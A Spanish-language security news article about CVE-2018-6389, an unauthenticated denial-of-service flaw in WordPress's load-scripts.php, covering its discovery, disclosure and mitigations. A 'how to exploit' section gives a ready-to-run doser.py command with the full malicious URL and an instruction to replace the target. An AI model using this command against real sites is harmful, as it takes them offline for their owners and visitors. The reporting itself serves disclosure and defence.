Un error de DoS no parcheado podría ayudar a cualquier persona a tumbar sitios web de WordPress

Un error de DoS no parcheado podría ayudar a cualquier persona a tumbar sitios web de WordPress

Se descubrió una vulnerabilidad de denegación de servicio (DoS) que es fácil de explotar pero grave para la plataforma CMS de WordPress que podría permitir que cualquier persona tumbar la mayoría de los sitios web de WordPress incluso con una sola máquina, sin golpear con una gran cantidad de ancho de banda, como se requiere en la red nivel de ataques DDoS para lograr lo mismo.

Dado que la compañía ha negado solucionar el problema, la vulnerabilidad [CVE-2018-6389] permanece aún sin parches y afecta a casi todas las versiones de WordPress publicadas en los últimos nueve años, incluida la última versión estable de WordPress (Versión 4.9.2).

Descubierta por el investigador de seguridad israelí Barak Tawily, la vulnerabilidad reside en la forma en que "load-scripts.php", una secuencia de comandos integrada en WordPress CMS, procesa las solicitudes definidas por el usuario.

Para aquellos que no lo saben, el archivo load-scripts.php solo se diseñó para que los usuarios administradores ayuden a un sitio web a mejorar el rendimiento y cargar la página más rápido al combinar (en el extremo del servidor) varios archivos JavaScript en una única solicitud.

Sin embargo, para hacer que "load-scripts.php" funcione en la página de inicio de sesión del administrador (wp-login.php) antes de iniciar sesión, los autores de WordPress no mantuvieron ninguna autenticación en su lugar, lo que eventualmente hizo que la función esté accesible para cualquiera.

Como explotarla?

Para usaremos doser.py, que una herramienta diseñada para repetir constantemente las solicitudes para causar DoS. Usar el siguiente código para realizar el ataque. Importante cambiar http://mywpserver.com por la url a atacar:

python doser.py -g 'http://mywpserver.com/wp-admin/load-scripts.php?c=1&load%5B%5D=eutil,common,wp-a11y,sack,quicktag,colorpicker,editor,wp-fullscreen-stu,wp-ajax-response,wp-api-request,wp-pointer,autosave,heartbeat,wp-auth-check,wp-lists,prototype,scriptaculous-root,scriptaculous-builder,scriptaculous-dragdrop,scriptaculous-effects,scriptaculous-slider,scriptaculous-sound,scriptaculous-controls,scriptaculous,cropper,jquery,jquery-core,jquery-migrate,jquery-ui-core,jquery-effects-core,jquery-effects-blind,jquery-effects-bounce,jquery-effects-clip,jquery-effects-drop,jquery-effects-explode,jquery-effects-fade,jquery-effects-fold,jquery-effects-highlight,jquery-effects-puff,jquery-effects-pulsate,jquery-effects-scale,jquery-effects-shake,jquery-effects-size,jquery-effects-slide,jquery-effects-transfer,jquery-ui-accordion,jquery-ui-autocomplete,jquery-ui-button,jquery-ui-datepicker,jquery-ui-dialog,jquery-ui-draggable,jquery-ui-droppable,jquery-ui-menu,jquery-ui-mouse,jquery-ui-position,jquery-ui-progressbar,jquery-ui-resizable,jquery-ui-selectable,jquery-ui-selectmenu,jquery-ui-slider,jquery-ui-sortable,jquery-ui-spinner,jquery-ui-tabs,jquery-ui-tooltip,jquery-ui-widget,jquery-form,jquery-color,schedule,jquery-query,jquery-serialize-object,jquery-hotkeys,jquery-table-hotkeys,jquery-touch-punch,suggest,imagesloaded,masonry,jquery-masonry,thickbox,jcrop,swfobject,moxiejs,plupload,plupload-handlers,wp-plupload,swfupload,swfupload-all,swfupload-handlers,comment-repl,json2,underscore,backbone,wp-util,wp-sanitize,wp-backbone,revisions,imgareaselect,mediaelement,mediaelement-core,mediaelement-migrat,mediaelement-vimeo,wp-mediaelement,wp-codemirror,csslint,jshint,esprima,jsonlint,htmlhint,htmlhint-kses,code-editor,wp-theme-plugin-editor,wp-playlist,zxcvbn-async,password-strength-meter,user-profile,language-chooser,user-suggest,admin-ba,wplink,wpdialogs,word-coun,media-upload,hoverIntent,customize-base,customize-loader,customize-preview,customize-models,customize-views,customize-controls,customize-selective-refresh,customize-widgets,customize-preview-widgets,customize-nav-menus,customize-preview-nav-menus,wp-custom-header,accordion,shortcode,media-models,wp-embe,media-views,media-editor,media-audiovideo,mce-view,wp-api,admin-tags,admin-comments,xfn,postbox,tags-box,tags-suggest,post,editor-expand,link,comment,admin-gallery,admin-widgets,media-widgets,media-audio-widget,media-image-widget,media-gallery-widget,media-video-widget,text-widgets,custom-html-widgets,theme,inline-edit-post,inline-edit-tax,plugin-install,updates,farbtastic,iris,wp-color-picker,dashboard,list-revision,media-grid,media,image-edit,set-post-thumbnail,nav-menu,custom-header,custom-background,media-gallery,svg-painter&ver=4.9' -t 9999`

Según el investigador, uno puede simplemente forzar load-scripts.php para llamar a todos los archivos JavaScript posibles (es decir, 181 scripts) de una sola vez pasando sus nombres a la URL anterior, haciendo que el sitio web objetivo sea levemente lento consumiendo una gran CPU y servidor memoria.

"Hay una lista bien definida ($ wp_scripts), que los usuarios pueden solicitar como parte del parámetro load []. Si el valor solicitado existe, el servidor realizará una acción de lectura de E / S para una ruta bien definida asociado con el valor suministrado por el usuario ", dice Tawily.

Aunque una sola solicitud no sería suficiente para hacer caer todo el sitio web para sus visitantes, Tawily utilizó una secuencia de comandos python de prueba de concepto (PoC), doser.py, que hace un gran número de solicitudes concurrentes a la misma URL en un intento utilizar la mayor cantidad de recursos de CPU de los servidores de destino como sea posible y reducirla.

"Es hora de mencionar una vez más que load-scripts.php no requiere ninguna autenticación, un usuario anónimo puede hacerlo. Después de ~ 500 solicitudes, el servidor no respondió en absoluto, o devolvió el estado 502/503/504 errores de código ", dice Tawily.

Fuente: How to Dos of Wordpress

Sin parche disponible - Guía de mitigación

Junto con la divulgación completa, Tawily también ha proporcionado una demostración de video para el ataque de denegación de servicio de WordPress. Puedes mirar el video para ver el ataque en acción.

Sabiendo que las vulnerabilidades de DoS están fuera del alcance del programa de recompensas de errores de WordPress, Tawily reportó responsablemente esta vulnerabilidad de DoS al equipo de WordPress a través de la plataforma HackerOne.

Sin embargo, la compañía se negó a reconocer el problema y dijo que este tipo de error "debería mitigarse realmente al final del servidor o en el nivel de la red en lugar del nivel de la aplicación", que está fuera del control de WordPress.

La vulnerabilidad parece ser grave porque WordPress potencia casi el 29 por ciento de la Web, lo que coloca a millones de sitios web vulnerables a los piratas informáticos y los hace no disponibles para sus usuarios legítimos.

Para los sitios web que no pueden pagar los servicios que ofrecen protección DDoS contra los ataques de la capa de aplicación, el investigador ha proporcionado una versión bifurcada de WordPress, que incluye la mitigación contra esta vulnerabilidad.

Además de esto, el investigador también ha lanzado un sencillo script bash que soluciona el problema, en caso de que ya haya instalado WordPress.